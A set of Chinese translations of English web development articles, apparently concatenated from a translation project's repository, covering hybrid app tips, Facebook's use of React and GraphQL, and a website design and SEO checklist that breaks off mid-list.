[主页](http://beta.ant.design/docs/react/introduce) | [GitHub](https://github.com/ant-design/ant-design) ## 总结 这里只是一个我收集到的框架的一个简单列表,希望他能帮到大家。 如果有漏掉什么其他框架,欢迎评论。😊 ================================================ FILE: TODO/10-steps-to-better-hybrid-apps.md ================================================ >* 原文链接 : [10 steps to better hybrid apps](https://medium.com/net-magazine/10-steps-to-better-hybrid-apps-e8e33831ea5e#.4fh1wbsy9) * 原文作者 : [Oliver Lindberg](https://medium.com/@oliverlindberg) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Yves X](https://github.com/Yves-X) * 校对者: [Malcolm](https://github.com/malcolmyu), [circlelove](https://github.com/circlelove) # 10 步带你做一个棒棒的 Hybrid 应用 **随着 Hybrid 应用人气渐涨,人们创造了越来越多的工具帮助开发者高效创建跨平台应用。** [**James Miller**](https://twitter.com/jimhunty) **介绍了 10 条建议以助你得到最佳成果。** ![](https://cdn-images-1.medium.com/max/1200/1*AaxKJp4gFBPiMv8mYqJvjA.jpeg)
插图来自 [Luke O’Neill](http://lukeoneill.co.uk)
为手机和平板开发应用程序并非移动开发者的专利。如今 Web 开发者可以通过原生应用封装工具,使用 HTML、CSS 与 JavaScript 来构建自己的应用,而无需了解任何设备特定代码。这种方式使用设备的 Web 视图,像浏览器一般去展示 Hybrid 应用中基于 Web 的代码。在这 10 条建议的帮助下,你将把自己的 Hybrid 应用打造得尽善尽美。 #### **1\. 规划** 在开始开发前规划你的应用能避开许多坑,带来更成功的结果。开发过程中的很多情况,应该在规划阶段中考虑清楚。 Hybrid 应用使用的 Web 视图实际上是按比例缩小的浏览器,你需要预见到,那些存在于传统浏览器的问题,在这里也同样存在。理解你的目标受众及其期望,有助于明确你的应用的技术短板。这可以与设备分析一道,帮助你发掘潜在性能,并达到更高的性能指标。 一旦你知道你的目标受众想要什么,你需要考虑发行渠道。Google Play 和 Apple 的 App Store 是最大的两个生态系统。为了在这些商店上架你的应用,你必须确定你的应用遵循它们的准则。 Google Play 对应用审查提供了更多回溯渠道,发行也相对容易。然而举报能使你的应用遭到移除。遵循这份[准则](https://play.google.com/about/developer-content-policy.html?rd=1)会让你的应用更有望列入精选。 Apple 有更严格的[准则](https://developer.apple.com/app-store/review/guidelines/),堪称一项挑战。你需要整合手机的原生功能,而非构建一个 Web 应用了事。需要整合的功能包含相机、定位和其它一些功能,在适当的框架下它们能通过 JavaScript 插件调用。不要仅仅为了迎合商店准则去添加功能,要确认它们真的是用户想要的。 ![](https://cdn-images-1.medium.com/max/800/1*KpdzFI7j0VnryX4qGKWIkQ.jpeg)
**避免违规** 使用 Google Play 的内容审查工具把那些可能违规的国家从你的发行列表中移除。
#### 2\. 市场考虑 应用程序是一种全球性产品,但不像 Web 一般开放,它们主要可用于特定国家的应用商城。每个国家有其不同的文化和法律。不要假设你的应用全球通吃,这很重要——在一个不合适的国家上架,对你的品牌弊大于利。 同样重要的是注意欲发行国家的网络局限性。并非处处都有快如闪电的移动互联网接入或 Wi-Fi 热点。即使你的应用不是面向新兴市场,网络连接依然是个问题。使应用的网络请求轻量一些,并试着保持最少吧。 #### 3\. 可扩展性 无论是登录还是更新数据,大多数应用程序需要一个网络组件。这需要一些形式的服务器与 API。当你的应用俘获了更多用户,这份压力会加诸你的后端,像是超时和错误等会愈演愈烈。为了避免这个问题,计划好你的后端将如何升级很重要。你的 API 应该遵循 REST 风格的接口模式来建立一个工作标准。还要考虑加以验证,因为一个开放的 API 可能会遭到滥用。终端也必须正确管理,因为一旦应用发布,鉴于审查流程,可能需要数周才能让更新版本得以运行。 也许有朝一日你的 API 会收到过多请求然后挂掉。别急着投资于更多服务器,现有大量的后端即服务(BaaS)可选择,包括 [Parse](http://parse.com) 和 [Firebase](http://firebase.com) 在内,它们可以助你搞定这个问题。它们储存你的数据,并常提供基于你的数据结构和认证方式的标准 API。 还有许多基于用量的免费套餐。在全球覆盖、优良技术和强力网络的支持下,你知道自己应用的网络部件将有良好性能。 ![](https://cdn-images-1.medium.com/max/800/1*RslHAZKu3bZscXv6ERaHZQ.jpeg)
**Parse** Facebook 的 BaaS 解决方案,使你不再需要投资于私有服务器
#### 4\. 性能 在用 Web 视图呈现的 Hybrid 应用中,老掉牙的多浏览器和多操作系统支持程度不同的问题又会出现。这在 Web 上用渐进增强解决,同样的策略亦可用于 Hybrid 以提供平滑的跨平台体验。 拥有太多后台进程会逐渐榨干电量、拖低性能。考虑使用像 AngularJS 或者 Ember.js 这样的框架将你的应用构建为单页应用吧。这会使你结构化你的代码,使你的应用更易维护。这个通行做法将保证更好的性能,并减少内存泄漏的可能。像是 Ionic 这样包含了 Cordova、AngularJS 以及自有 UI 组件的框架,用于构建快速原型和最终产品都不赖。 在移动设备上,CSS 动画的性能比 JavaScript 更好。试着以每秒 60 帧为目标,给应用原生感,并且在可以使动画更带感的地方使用硬件加速。 ![](https://cdn-images-1.medium.com/max/800/1*dKzEwQWP3ArLAUfSJh5ZWg.jpeg)
**便捷框架** Ionic 框架提供了结构化的方法来构建你的 Hybrid 应用
#### 5\. 交互设计 近乎所有移动设备都主要靠触控操作。基于这种认识,尽量跳出 Web 的局限来思考,使用基于手势的简单交互,让你的应用体验尽量直观。触屏设备没有 hover 状态,所以要考虑换用 active 和 visited 状态之类的视觉提示。 > 跳出 Web 的局限来思考,使用基于手势的简单交互,让你的应用体验尽量直观 在触屏设备上,用户触摸屏幕到事件被触发之间有 300 毫秒的延迟。这是由于 Web 视图等着确认是单击还是双击。尽管乍一听并不长,但这延迟是可察觉的。为了克服它,在你的项目中添加 [FastClick](http://github.com/ftlabs/fastclick) 脚本库并在 body 对它实例化。 #### 6\. 响应式设计 如今设备的屏幕尺寸千差万别,涵盖了广泛的分辨率。所幸响应式设计原则仍然适用于 Hybrid 应用与平板电脑。在你选定的设备范围内,专注于最小的屏幕尺寸,然后选择你想要拉伸覆盖的断点。横向和纵向试图都要考虑。它们都可以在构建应用时锁定,这有助于减小复杂度和引导用户行为。 想一想你要如何使用应用设计规范:弹出菜单,固定头部以及列表设计。有限的屏幕尺寸适合于使用图标而不是文本来叙述,但是恰当的标签仍有助于提升可访问性。尽管用户们期待特定元素,不要让此局限你的设计。 #### 7\. 图片 高清屏幕是移动设备厂商的优先选择。但别忘记,许多用户仍然使用屏幕分辨率较低的旧设备。针对你目标市场的设备选用适当的图片,并且确保每一张图片看上去都尽可能好。当图片经常复用时,在设备上储存它们。文件体积可以比你通常在移动网站上使用的更大,但也必须考虑到设备内存大小。对 Retina 屏幕酌情使用 SVG 来最大化视觉输出,但要留心设备支持情况。 #### 8\. 网络 采取离线优先的做法。用移动设备,用户总会有没有网络连接的时候,不应该以用户体验受损收场。通过在本地缓存网络请求来搞定它,从而优化信号不好甚至没有信号的时候的体验。 > 采取离线优先的做法。通过在本地缓存网络请求来优化信号不好甚至没有信号的时候的体验。 本地保存脚本。Web 开发中,外链脚本会提升性能,因为它们更可能被缓存。这在应用程序中就行不通了——就算没有网络,应用也要工作。脚本往往并不会拖累文件体积和连接速度,却带来更快的加载速度以及原生感。如果你的用户路径的预设性很强,不妨试试提前预加载数据,带来无缝衔接的体验。 #### 9\. 插件 正如之前所述,通过使用相机、定位或是社交分享添加原生功能来扩展你基于 Web 的应用,能够显著提升用户体验。通常你无法通过移动 Web 浏览器来调用原生功能,但这可以在 Hybrid 应用中使用插件实现。 Cordova 是一款 Hybrid 应用封装工具,它有大量可用 JavaScript 调用的相关插件。详见 [Plugreg](http://plugreg.com),它们的目录。 要对第三方插件保持警惕。移动操作系统迅速发展,缺乏支持的第三方插件可能导致问题、减少电池寿命,还可能让你的应用不稳定。去找那些在 Github 上好评如潮并且开发活跃的项目。 #### 10\. 测试 Hybrid 应用的核心以 Web 技术构建。这意味着非设备的功能可在浏览器里得到测试。使用像 gulp 或 Grunt 这样的任务运行器启动 LiveReload 之类的工具,创建一个有效的并行开发和测试流程。 接下来的一步是模拟。Google Chrome 提供了[移动模拟器](https://developer.chrome.com/devtools/docs/device-mode),所以你可以在最流行的设备间测试各种屏幕分辨率,这对设计断点很有帮助。Apple 提供了 [iOS 模拟器](https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html)作为 Xcode 的一部分,而 Google 提供了 [Android 模拟器](http://developer.android.com/tools/help/emulator.html)作为它的开发者工具的一部分。 这向你提供了在模拟设备上测试你的应用的机会,这比在物理设备上搭建更快,并且意味着你可以测试原生设备的功能。然而模拟器性能取决于你的机器,Android 模拟器更是特别慢。这也导致 [Genymotion](http://genymotion.com) 创造了一个竞品,它模拟 Android 快得多。 你不该上架一款从未在至少一部真机上完全测试过的应用。真机环境与模拟器一样有用,它能够突显性能问题和关于用户交互的痛点。 #### 结论 这 10 条建议为你将构想转化为全功能的移动应用提供了一个良好的开端。然而,在 Web 开发的方方面面,Hybrid 应用的发展步伐如此迅速。随着社区成长,新工具和新技术几乎每天都在涌现。 如果你真的决定在 Hybrid 应用的世界里深耕细作,社区将是你最宝贵的资源之一。前来参加会议和聚会很有价值,这能让你与最新进展齐头并进,并分享自己的创造。我们期待着一览你的高见! #### 流行的 Hybrid 应用框架 [CORDOVA](http://cordova.apache.org)  原始且最受欢迎的开源 Hybrid 框架。JS APIs 可调用手机原生功能。它有助力开发跨平台应用的 CLI。 [PHONEGAP](http://phonegap.com)  PhoneGap 是在 Cordova 基础上构建的 Adobe 产品。这俩基本是一样的,但 PhoneGap 提供了额外的服务,包括云上的应用构建和跨渠道经销。 [IONIC](http://ionicframework.com)  Ionic 为商业逻辑和设计准则给 Cordova 添加了 AngularJS 和自有 UI 框架。它基于 Cordova 的 CLI,并向之添加了 LiveReload 这样的服务来部署设备。[Ionic Creator](http://creator.ionic.io) 允许使用它的 Web 接口创建应用。 [APPCELERATOR](http://appcelerator.com)  它提供了一个用以构建原生和 Web 应用的统一平台,辅以自动化测试工具、实时分析和 BaaS。它旨在提供你部署和延伸应用所需的一切,且这些服务在你应用上架以前都是免费的。 [COCOONJS](http://ludei.com/cocoonjs)  提供了一个应用封装工具,它有内置以及改装的 Canvas 和 WebGL 引擎。这使得它成为用 Web 技术写 iOS 和 Android 游戏的理想环境。 ================================================ FILE: TODO/10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook.md ================================================ >* 原文链接 : [10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook](https://hashnode.com/post/10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook-cink0r0e500h5io53fpl7ediu) * 原文作者 : [Sandeep Panda](https://hashnode.com/@sandeep) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Jack](https://github.com/Jack-Kingdom) * 校对者: [DeadLion](https://github.com/DeadLion),[Joddiy](https://github.com/joddiy) # 10 个你可能不知道的事,关于 Facebook 内部开发环境是如何使用 JavaScript 和 GraphQL 的 最近, 来自 Facebook 的 Lee Byron ([@leebyron](https://hashnode.com/@leebyron)) 在Hashnode上主办了一场 [AMA](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda)( Ask Me Anything )。 这里提出了许多有趣的问题,并且 Lee 透露了一些关于 Facebook 如何使用 React 、GraphQL 、和 React Native 的惊人事实与细节。我拜读了他在 AMA 上的回答,思考并总结出了十条有趣的重点。 那么,开始吧。 ## React 背后的灵感? React 一定程度上受到了 [XHP](https://github.com/facebook/xhp-lib) 的启发,来自 Facebook 的 Marcel Laverdet 在2009年创建了此项目,用于模块化 Facebook 的用户界面。详见[这里](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin120uib00edlv533i6d8yd7)。 ## Facebook计划用React Native 重写他的移动应用吗? 好吧, 答案是 : _他们已经这样做了_。 有一部分 Facebook 的应用使用了 React Native 构建,也有一部分不是。 详细的答案见这个[讨论](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin6vg5r201wqjh53ne77tao1). ## 哪些场景正在使用 Immutable.js ? * Ads Manager 和他们基于 React Native 的 Android 和 IOS 应用。 * Messenger 网站 ([messenger.com](https://hashnode.com/util/redirect?url=http://messenger.com)) * 用 Draft.js 写的新文章。 * 在 Facebook News Feed 上所有的评论。 ## Facebook 如何为 React 组件写 CSS ? Lee 透露到他们禁止导入 CSS 规则到除 React 组件以外的任意文件。 这样不仅确保了一个组件经由格式化的属性所应该暴露出的正确的 API ,同时其他的组件不能够通过导入一个规则来覆盖他。 此外,他们并不需要通过 JavaScript 的一些技巧来导入 CSS 文件。相反,他们遵循`Button.js` 临靠 `Button.css` 的规范。详见 [这里](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin5qpdbv01apk85319o2c1fx)。 ## Facebook 会随着每个 React 重要发行版而更新 React 组件吗? * 是的,他们会。 * Facebook 通常将 React **master** 分支用于生产环境 * 从2012开始,React API 并没有进行多少重大的更改。 因此,React 团队也很少面临必须更新组件的状况。 * 如果有突发的更新,React 团队的成员 Ben Alpert 将会负责代码库的所有同步工作。 * 他们也会使用类似 [jscodeshift](https://github.com/facebook/jscodeshift) 的自动化工具去简化问题。 ## GraphQL 背后的故事是什么? GraphQL 诞生于2012年,当时 Lee 正在 IOS 组致力于 News Feed 。 当时,在一些网络环境糟糕的地区,Facebook 正急速增长。 因此, GraphQL 最初被设计于应对缓慢的手机连接。 不久,当 Relay 正准备开源时,他们认为缺乏 GraphQL ,Relay 的开源就没有多少意义。 同时,他们也意识到 GraphQL 服务编写得很巧妙并且大多数 Facebook 以外的公司都未尝使用过。因此,他们决定通过编写一个语言无关的规范来发布它。那就是 GraphQL 背后的故事。详情可阅读 [此处](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cin1gw37n00kwlv53rretxpe8) 的回答。 ## Facebook 正在什么场景使用 GraphQL ? Facebook的 Android 和 IOS 应用 几乎全部依赖于 GraphQL 支持。 在一些情况下, 如Ads Manager,整个应有都在使用 Relay + GraphQL 。 是的, Facebook 重度依赖 SSR 。尽管如此,Lee 说他们很少有在服务器使用 React 渲染组件的场景。这个主要取决于他们的服务器环境。 ## Facebook 使用 Node.js 吗? Lee 说他们有许多客户端的工具由 Javascript 编写并通过 Node 运行。[remodel](https://github.com/facebook/remodel) 就是这样一个通过 npm 安装的工具.他们所有的 IOS 和 android 上的内部 GraphQL 客户端工具都在使用 Node 。但是他们在服务器端使用 Node 并不多,因为迄今都没有一个强烈的需求。 即使某一天他们想在服务器端使用 Javascript (例如:在服务器上渲染 React ),他们也会直接使用 V8 引擎而非 Node 。 ## Falcor (by Netflix) 对比 GraphQL 如何? 据 Lee 所说, 两个工具都在尝试解决类似的问题。当 GraphQL 团队第一次听说 Falcor 时,他们与 Netflix 团队见了一面并交换了一些想法。虽然如此,Falcor 与GraphQL 之间还是有许多区别的。阅读 [此处](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda#cinj7lim4002lid53x47g060n) 的回答可以知道更多。 我希望你能喜欢这份非常简短的总结。 详细的回答与讨论请移步 [AMA 页面](https://hashnode.com/ama/with-lee-byron-cin0kpe8p0073rb53b19emcda)。 ================================================ FILE: TODO/101-ways-to-make-your-website-more-awesome.md ================================================ >* 原文链接 : [101 Ways to Make Your Website More Awesome](https://medium.freecodecamp.com/101-ways-to-make-your-website-more-awesome-79c934dd2a11#.enfq945da) * 原文作者 : [Nicholas Tart](https://medium.freecodecamp.com/@wntart) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [达仔](https://github.com/zhangjd) * 校对者: [jamweak](https://github.com/jamweak)、[cyseria](https://github.com/cyseria) # 让你的网站更炫酷的一些小 tips 上周,我和一位老客户聊天,她说:“尼克,我觉得我的网站需要改进,但我不能确定我具体需要做什么。” 然后我就去问了一圈,包括朋友、家人和其他非互联网行业的商务人士,他们都提到了相同的观点: > “我需要一个检查清单,因为我不知道怎样建站,这也是我要雇人来做这件事情的原因。但是我依然需要知道这个过程涉及到哪些方面。” 因此,我列了一个我们在 [AwesomeWeb](https://awesomeweb.com/) 上完成的优化清单(以及一些我们还没完成的)。 我敢保证: 如果你能把列表的每一项问题都改好,你将会拥有业界里最好的网站之一。 _你是怎么知道的?_ 在 AwesomeWeb 里,我已经评估过 1,000 多个自由职业者。据我所了解的情况,我从没见过一个网站可以把所有选框都打上勾的。 对于企业老板,根据这个列表,你可以了解到接下来可以做哪些改进工作,然后把它发给你的设计或者开发去修改。你甚至还可以自己去修复其中的一部分问题。 对于自由职业者,使用这个列表可以让你做出更加酷炫的内容,然后回去找你的老客户们,对他们说: “我重新回顾了之前的项目,我们可以修复这里、这里和这里,给我 $500, $1000, $5000 然后你可以期待得到以下的改进结果……” 重点是… …我希望可以帮你构造出更加酷炫的网站。事不宜迟,现在进入正题,开始介绍这个列表: ### 酷炫的品牌 1. 挑选一个 `专业的 logo`,现在很难找到一个带有很棒的 logo 的网站或者博客,因此这是一个瞬间获取信任感的好方法。 2. 上传一个 `支持 retina 屏幕的 favicon` (在浏览器标签上显示的正方形小图标)。大部分网站的 favicon 都是 16x16 像素的,在 retina 屏幕会显得模糊。使用 [X-Icon Editor](http://www.xiconeditor.com/) 生成 64x64 像素大小的 favicon。 3. 使用 `支持 retina 屏幕的图片`。这很简单,只需要确保图片宽高是容器的两倍,然后显示时缩放就可以了。 4. `最多使用 2-3 种颜色`。包括背景色、文字-动作颜色和强调色。 5. 选择调色板时,从 `互补色或者三色组`(complementary or triad colors)开始选择,然后再进行调整。好的颜色组合会给你带来充满故事感的设计。 6. `不要使用纯黑色` (#000000)。纯黑色是不存在的,所以在网上使用纯黑色看起来不合适。实际上,黑色应该总是作为其它颜色的深色阴影。 7. `不要使用浅灰色` (比如 #cccccc)。如果你希望设计更显个性化,可以试着添加一点黄色显得温暖,添加红色给予能量,而蓝色产生信任。 ### 酷炫的排版 1. 挑选一种 `优质的字体`。使用 [Typekit](https://typekit.com/) 之类的服务吧。据说多达 95% 的网站都是有排版的,想要产生良好的第一印象,使用优质字体是最简单、成本最低的方法。 2. `最多使用 2-3 种字体`。使用更多字体会显得杂乱,并且减慢加载时间。挑选一种字体用在头部,一种用在段落中,如果有需要的话,还可以挑选一种用在其它特殊情况里。 3. 设置 body 的字体大小为 `最小 16px`,更小的字体在大屏幕中不方便阅读,如果是移动端页面可以考虑的最小值为 12px。 4. 设置 `排版缩放比例`,就像(乐理中有)增四度,纯五度音程或者(在绘画使用)黄金比例。根据比例来设置段落文本大小,以及 H4, H3, H2 和 H1 标签。当然,文本的行高和间距也要基于这个比例。 5. 设计其它的 `排版元素`,包括引用、符号列表、数字编号列表、表格标题、帮助文本、警告框、高亮文本、代码示例、缩写甚至地址。 6. 选择一种 `自定义图标字体`,比如 [Font Awesome](https://fortawesome.github.io/Font-Awesome/),来代替图片和其它一些元素,比如社交媒体 logo、导航按钮、交互图形等。图标字体的加载速度更快,可以任意缩放,并且可以随意更改图标颜色。 ### 酷炫的布局 1. 使用 `三分法` 来设计基本布局。水平垂直把布局划成三等分,然后当线段横穿时,设法对齐关键的焦点。 2. 使用一个网格系统来维护 `垂直方向的网格`。把你的布局分隔成 8 列、12 列或者 16 列的布局,列与列之间带有足够空白。 3. 使用 `基线网格` 保持垂直方向的调和感。文本行之间的空间,和内容块之间的空间都同样重要。每行文本应该都拥有一定的底部外边距,也就是位于基线的地方。 4. `空白` 是奢侈的。空格的存在是为了创造呼吸空间和平衡,你应该把读者的眼球吸引到重要的地方去。 5. `均衡摆放视觉元素`,比如按钮、输入框、表单和大标题等。你应该把眼睛眯起来,试着跟踪那些你想让用户关注到的路径点。 ### 酷炫的用户界面 1. 使用大大的加粗的 `行为按钮`。每个页面应该只有一个目标,而且几乎都是点击一个按钮而已。所以确保这个按钮不会被用户忽略。 2. 添加 `鼠标悬停 (hover) 和鼠标点击 (active) 状态` 的样式给链接、按钮、输入框和文字区域。如果你选择在鼠标悬停时让按钮颜色变亮,那你也应该对于链接和输入框边框给出同样的样式。 3. 保持 `表单样式` 的一致性。所有的文本区域和输入框都应该有相同的样式。包括相同的边框颜色、背景颜色、悬停状态、点击状态、占位符文字、点击状态文字等。确保 tabindex 属性的正确设置,以便用户可以使用 tab 键在表单项之间用正确的顺序切换。 4. 改变 `已经点击过的链接` 的颜色,让用户知道他们已经去过那个页面了。 5. 一旦你拥有了自己的 logo、颜色、排版、布局和图像大小,你要建立一个 `风格指南`。好的用户界面应该使用风格一致的组件,其样式应该总是相同的。 ### 酷炫的用户体验 1. 在按钮和其它表单域元素使用 `微交互(microinteractions)`。比如,点击上传按钮之后,提示文字可以变为 “正在上传” 或者 “处理中”。 2. `不要使用 scroll jacking` (译注:通过重新定义鼠标滚动速度、幅度达到控制可视区域视觉效果的方式)!不要打乱浏览器的默认行为,虽然你可能会觉得让滚动速度变成原来的两倍很不错,但事实并非如此。 3. `放弃使用首页轮播`。轮播会减少转化率,可以考虑使用更佳的方法来在有限空间显示更多信息。 4. `不要使用欢迎界面`。当用户第一次打开首页时,用户希望能直接看到首页内容。 5. 使用 `标题、副标题、头段落、列表、表格标题` 让你的内容更容易被检索。大部分人在浏览网页前,都会先检索一遍全文,再决定是否阅读。 6. 添加 `描述性的占位符文字` 到你的表单、输入框和下拉菜单。如果你想要让浏览者用某种特定方式来填写表单,你应该指引他怎么做。对于下拉菜单和选择框来说,可以让第一个选项变成描述,比如 “选择年份” 就比 “2016” 更合适。 7. 往表单添加 `HTML5 验证`,让用户在提交表单时可以清楚地知道哪些部分出现填写错误。 8. 通过避免含糊链接名字、减少杂乱排版、使用标点符号、保持简洁布局、添加图片提示(alt text)、使用大字号、保持文本和背景色的高对比度,可以让你的网站 `适用于视觉障碍人群`。 9. 通过 [BrokenLinkCheck.com](http://brokenlinkcheck.com/) 检查你的网站是否有 `损坏的链接`。修复这些坏链,避免让用户因为点击到它们而抓狂。 ### 酷炫的开发 1. 确保你的站点是经过 `移动端优化` 的,也就是在任何设备上都可以响应式地显示。合理优化移动端的站点,加载速度更快,排行更高,并且可以提供更佳的用户体验。 2. 生成并 `显示经过优化的图像`。假设你上传了一张大图片,比如博文的特征图像,如果你想在站点的其他地方显示(比如侧边栏),应确保你在侧边栏显示的是图像的缩略图而非原图。 3. `所有图片和超链接都要添加 alt 和 title 属性`。当遇到某种异常情况,图片没有正常加载出来的时候,网站应该在图片位置显示替换文字(alt text)。并且,当鼠标悬停在链接时,浏览器应该显示该链接的 title 属性的值。 4. 使用 `` 和 `` 标签代替 `` and ``,以输出加粗和斜体字符。虽然他们的作用相同,但是有着根本区别。`` 标签对应着一种样式,而 `` 标签则是一种语义化的表示,指明了应该如何理解这个标签的含义。 5. `去除多余的 HTML`。当你复制粘贴内容到 WYSIWYG 编辑器(类似于 WordPress 的编辑器)的时候,它会添加许多不必要的 span 标签与内联样式。时间长了,你的网站代码就会变得不可读了。 6. 说到这里,需要给你的 HTML `移除内联样式`。99% 的样式规则都应该写进 CSS 文件,以便你可以在同一时间更新一个组件在所有页面的样式。 7. 使用 `Sass 变量` 代替原生 CSS,以保持颜色和其他组件可以在整个网站之间共用。这样,当你想要改变这个颜色时,只需改变一行代码而不是上百行。 8. `链接使用永久链接(permalinks)代替完整 URL`。当你打算切换域名时,你的链接最好使用 代替完整路径 。对于一些图片资源和 CSS 背景,如果你不这么做,当域名变化的时候,你的所有资源都将会失效。 9. 开发一个 `自定义插件` 或者工具,为你的网站提供独特的功能。虽然自定义软件难以维护,但是这样做可以让你的网站在众多类似网站中脱颖而出。 10. 测试 `跨浏览器兼容性`,确保你的网站可以在 Chrome, Firefox, Safari, Internet Explorer 和其它浏览器正常显示。虽然旧版 IE 在兼容性方面臭名昭著,但是可以通过 [BrowserStack](https://www.browserstack.com/screenshots) 进行人工检查。 11. 使用 [W3C 的](https://validator.w3.org/) `Markup Validation Service(标记语言验证服务)` 来检查 HTML 的明显错误。要记住,大部分网站的 HTML 都不是十分完善的。虽然这项检查并非最高优先级,但是如果你的 HTML 没有错误,你会感到更开心。 12. 设定一个 `模拟环境` 用来改变你的当前网站。理想情况下,你应该有一个生产环境,是用户能看见的;以及一个模拟环境,供开发者作出更改。一旦更改已经准备好发布,就可以把模拟环境的代码部署到生产环境。 13. `在页面显示当前年份`。当你看见一个站点的 copyright 年份不是最新的时候,你就会觉得这个网站应该很久没维护了。可以使用 PHP 或者类似的脚本语言,动态地显示当前年份,而不仅仅是显示静态文本。(比如 ©  — )。 ### 酷炫的搜索引擎优化 1. `为每个页面选择一个关键词`,这个关键词关系到你的页面排名。围绕这个关键词,优化这个页面的方方面面。当然,并不是让你在每句话都提到这个词,可以动脑筋想想你想让它排到第几位去。 2. 给每个页面设定一个充满关键词的 `title 标签`。标题会显示在谷歌搜索结果的蓝色链接文字上,有 55 个字符的长度限制。 3. 每个页面`有且仅有一个 H1 标签`。在大多数情况下,这个标签的文字应该和 title 标签相同。 4. 在页面内容中包含很多 `H2、H3 和 H4 标签` ,以创建小标题和显出视觉层次感。 5. 用一个 `特定的关键词` 优化页面,可以通过把它包含在标题、H1、副标题和内容的前 1/3 部分。 6. 你的 `meta 标签的描述(description)` 会显示在搜索引擎的链接下方。所以确保你的每个页面都包含 meta description,并确保在描述里包含关键词。 7. 你的 `永久链接(permalink)`,也就是 URL 里紧随域名的部分(比如 domain.com/permalink-here/),应该包含破折号分隔开的关键词内容。 8. Google 把 `域名的注册时长` 考虑到算法中,他们认为,注册时间长的域名更有可能提供高质量的资源。提前注册你的域名吧,如果你的域名注册时间超过 10 年,相信你对你的事业是认真的。 9. 平均起来,SERP (搜索引擎结果页面) 的第一个结果,不管是任何关键词,打开的页面都不少于 `2000 字/页`。当你写文章或者创建页面时,如果你希望页面的排名更高,试着至少写 2000 字吧。 10. 总是 `创建站点地图` 并命名为 sitemap.xml 文件,然后把它放进根目录,并让文件可以通过 domain.com/sitemap.xml 访问。这个文件可以告诉谷歌,你的所有页面的位置,并应该在添加新内容时更新地图。可以通过 [Webmaster Tools](https://www.google.com/webmasters/tools/home?hl=en) 提交给谷歌。 11. 添加你的网站的 `Google Webmaster Tools`,然后你可以知道 Google 如何索引你的站点,并在遇到关键问题时保持更新。 12. 为了提高图片的排行,上传之前应该总是 `重命名你的图片` 和其它文件。(比如:rank_for_this_keyword_phrase.png) 13. 在站点中包含 `robots.txt` 文件,告诉爬虫哪些页面应该/不应该被索引。 14. 添加 `canonical 重定向` 把不带 www 的页面访问指向网站的 www 版本,或者反过来也可以。 15. 研究并整合每个页面的 `LSI 关键词`(LSI: 潜在语义索引),以帮助提高页面在主关键词的排行。通过 Google 搜索一些关键词短语并寻找 “相关搜索” 链接,可以帮你找出 LSI 关键词。 16. 经常确保 `你的内容之间可以互相连接`。你的站点的每个页面,都应该可以通过从首页开始的不多于三次点击访问到。 17. 添加 `结构化的数据` 到相关页面,以帮助 Google 合理索引你的内容。以下这些页面类型需要结构化的数据,包括:人物、产品、事件、公司、电影、书本、报刊评论等。使用 [Schema Creator](http://schema-creator.org/) 可以帮你生成结构化的数据。 18. 使用 [Google 的](https://developers.google.com/speed/pagespeed/insights/) `PageSpeed Insights` 工具,以确保你修复了所有可能降低页面速度的普遍问题。页面加载速度越快,排名越高。 ### 酷炫的网页速度 1. 保持 `页面流量低于 2MB`。使用 [tools.pingdom.com](http://tools.pingdom.com/) 检查主页面的加载流量,如果多于 2MB 说明内容太多了。 2. 保持 `页面请求低于 50 个`。页面中的每个文件和图片都是一个 HTTP 请求,请求数越少,加载速度越快。平均每个网页的请求数是 70 个。使用 [GTmetrix](https://gtmetrix.com/) 可以检查你的网页请求数。 3. 设计页面元素时,使用 `CSS 代替背景图片`。不要使用图片来显示按钮、表单或者其它通用的元素。CSS 的加载速度更快,并且在响应式布局中更加灵活。 4. 在图片上传之前 `优化图像`。比如 [TinyPNG](https://tinypng.com/) 这样的工具,可以帮助你在不降低分辨率或者图像质量的情况下,减少图片文件大小。 5. 使用 `内容分发网络(Content Delivery Network)` 来存储你的图片和其它大文件,并放在世界上的不同区域中。CDN 通过策略定位好的服务器,存储分发你的文件,可以最大化加速页面速度,当然加载速度也根据访客的所在地区而有所差别。 6. 在上传你的代码文件到服务器之前,通过编译和压缩工具,`最小化 JavaScript, HTML 和 CSS`。对于 JavaScript,可以使用 [Closure Compiler](https://developers.google.com/closure/compiler/)。对于 HTML,可以使用 [HTML Minifier](http://www.willpeavy.com/minifier/)。对于 CSS,可以使用 [YUI Compressor](http://yui.github.io/yuicompressor/)。 7. 把 `阻塞渲染的 JavaScript 移动到底部`。唯一应该放在头部的脚本是那些会立刻影响页面设计的内容(比如:自定义字体)。 8. `避免目标网页重定向`。重定向触发额外的 HTTP 请求,会延迟页面渲染。 9. 借助 `浏览器缓存`,可以通过为页面和不经常更新的资源设置过期时间来实现。浏览器缓存会通知浏览器,从本地磁盘加载之前下载过的页面,以减少不必要的网络请求。 10. 在服务器配置中启用 `gzip 压缩`。压缩可以减少多达 90% 的传输响应时间,大大减少了首次渲染页面的时间。 11. 在服务器配置中启用 `Keep-Alive`,以允许同一个 TCP 链接可以发送和接收多个 HTTP 请求,因而可以减少后来请求的延迟。 12. 升级为 `专用服务器` 或者更优质的主机服务,以降低服务器响应时间。当你使用共享的服务器环境时,你的站点通常放在一台需要同时响应至少上百个网站的服务器里,如果其它网站的流量很大,你的网站速度自然就会降低。 ### 酷炫的平面设计 1. 作为可选的加分项,使用 `自定义 ebook 封面`。它不难创建,但是可以让你的转化率大大提高。 2. 为你的主页和销售页面设计一个 `自定义的平面图形或者插图`。一个专门为站点设计的好插图,可以让你的站点更加容易让人记住。 3. 创建一个或者一系列的自定义 `博客特征图像设计`。也就是你在 Facebook, Twitter, Pinterest 